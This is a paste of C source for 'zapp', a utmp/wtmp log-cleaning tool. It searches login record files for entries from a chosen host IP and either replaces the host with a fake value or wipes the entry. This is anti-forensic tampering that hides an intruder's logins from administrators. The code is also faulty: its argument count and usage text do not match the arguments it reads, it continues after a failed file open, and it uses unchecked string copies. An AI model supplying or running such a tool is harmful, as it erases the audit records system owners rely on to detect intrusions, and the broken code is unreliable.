rendered paste body#include <sys/types.h>#include <stdio.h>#include <unistd.h>#include <sys/file.h>#include <fcntl.h>#include <utmp.h>#include <pwd.h>#include <string.h>#define MAX 1024*5120#define MIN 1024 //void clean_file(char *host,char *fake);void clean_file(char *host,char *fake,char *file){ //char *file; //strcpy(file,argv[3]); struct utmp utmp_ent; int f; if ((f=open(file,O_RDWR))<0) { perror("open"); close(f); } while(read (f, &utmp_ent, sizeof (struct utmp))>0) { if (!strncmp(utmp_ent.ut_host,host,strlen(host))) { if(fake) { memcpy(utmp_ent.ut_host,fake,sizeof(utmp_ent.ut_host)); }else { memset(&utmp_ent,0,sizeof(struct utmp )); } lseek(f,-(sizeof(struct utmp)),SEEK_CUR); write (f, &utmp_ent, sizeof( utmp_ent )); } } close(f); printf("finished cleaning log file\n\t");}int pos(char *source,char *pattern);void str_replace(char *source,char *pattern,char *replace);main(int argc,char **argv){ time_t t1,t2; if (argc<2) { printf("missing argument\n"); printf("usage :./zapp <ip> <file>\n"); return 0; } else { printf("cleaning file: %s erasing: %s with: %s \n",argv[2],argv[1],argv[0]); time(&t1); clean_file(argv[1],argv[2],argv[3]); time(&t2); printf("the process time is %d ms\n",t2-t1); }}void str_replace(char *source,char *pattern,char *replace){ char buffer[MIN]; char part[MIN]; int n; while((n=pos(source,pattern))>=0) { strcpy(buffer,&source[n+strlen(pattern)]); strcpy(&source[n],replace); strncpy(part,source,n+strlen(replace)); part[n+strlen(replace)]='\0'; strcat(part,buffer); strcpy(source,part); n=pos(source,pattern); } }int pos(char *source,char *pattern){ char substring[MIN]; int i=0,found=0,position; int pattern_len=strlen(pattern); while(!found && i<= strlen(source) - pattern_len) { strncpy(substring,&source[i],pattern_len); substring[pattern_len]='\0'; if(strcmp(substring,pattern)==0) found=1; else ++i; } if(found) position=i; else position=-1; return(position);}